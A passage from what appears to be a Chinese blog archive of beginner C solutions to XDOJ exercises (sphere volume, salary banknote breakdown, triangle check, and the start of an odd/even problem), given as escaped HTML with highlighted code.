class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"18-计算球的体积\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#18-%E8%AE%A1%E7%AE%97%E7%90%83%E7%9A%84%E4%BD%93%E7%A7%AF\" class=\"headerlink\" title=\"18.计算球的体积\"\u003e\u003c/a\u003e18.计算球的体积\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e r;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\u0026#34;\u003c/span\u003e, \u0026amp;r);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e * \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e * r * r * r / \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"19-工资发放\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#19-%E5%B7%A5%E8%B5%84%E5%8F%91%E6%94%BE\" class=\"headerlink\" title=\"19.工资发放\"\u003e\u003c/a\u003e19.工资发放\u003c/h3\u003e\u003cp\u003e下面的程序可以抽象成函数来简化。\u003c/p\u003e\u003cp\u003e待会写(咕\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e salary, m100 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, m50 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, m20 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, m10 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, m5 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, m1 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;salary);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e100\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m100 = salary / \u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary = salary % \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m50 = salary / \u003cspan class=\"number\"\u003e50\u003c/span\u003e, salary = salary % \u003cspan class=\"number\"\u003e50\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e20\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m20 = salary / \u003cspan class=\"number\"\u003e20\u003c/span\u003e, salary = salary % \u003cspan class=\"number\"\u003e20\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m10 = salary / \u003cspan class=\"number\"\u003e10\u003c/span\u003e, salary = salary % \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m5 = salary / \u003cspan class=\"number\"\u003e5\u003c/span\u003e, salary = salary % \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (salary \u0026gt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m1 = salary / \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d %d %d %d\u0026#34;\u003c/span\u003e, m100, m50, m20, m10, m5, m1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e写出来之后感觉完全没有简化(笑)\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *\u003cspan class=\"title function_\"\u003em_calc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e m_size, \u003cspan class=\"type\"\u003eint\u003c/span\u003e salary)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e salary;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;salary);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d %d %d %d\u0026#34;\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e0\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m_calc(\u003cspan class=\"number\"\u003e50\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e0\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m_calc(\u003cspan class=\"number\"\u003e20\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e50\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e0\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m_calc(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e20\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e50\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e0\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m_calc(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e20\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e50\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e0\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e m_calc(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e20\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e50\u003c/span\u003e, m_calc(\u003cspan class=\"number\"\u003e100\u003c/span\u003e, salary)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e *\u003cspan class=\"title function_\"\u003em_calc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e m_size, \u003cspan class=\"type\"\u003eint\u003c/span\u003e salary)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e *res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = salary / m_size; \u003cspan class=\"comment\"\u003e//number of money\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = salary % m_size; \u003cspan class=\"comment\"\u003e//rest of salary\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"20-三角形判别\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#20-%E4%B8%89%E8%A7%92%E5%BD%A2%E5%88%A4%E5%88%AB\" class=\"headerlink\" title=\"20.三角形判别\"\u003e\u003c/a\u003e20.三角形判别\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, b, c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b, \u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a + b \u0026gt; c \u0026amp;\u0026amp; a + c \u0026gt; b \u0026amp;\u0026amp; b + c \u0026gt; a)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, a + b + c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;No\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e判断部分可以用三目运算符简化成这样:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(a + b \u0026gt; c \u0026amp;\u0026amp; a + c \u0026gt; b \u0026amp;\u0026amp; b + c \u0026gt; a)?\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, a + b + c):\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;No\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"21-判断奇偶性\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#21-%E5%88%A4%E6%96%AD%E5%A5%87%E5%81%B6%E6%80%A7\" class=\"headerlink\" title=\"21.判断奇偶性\"\u003e\u003c/a\u003e21.判断奇偶性\u003c/h3\u003e\u003cp\u003e\u003cem\u003eutf-8大法好,gb2312太谔谔了(ψ(`^´)ψ\u003c/em\u003e\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//encoding: GB2312\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 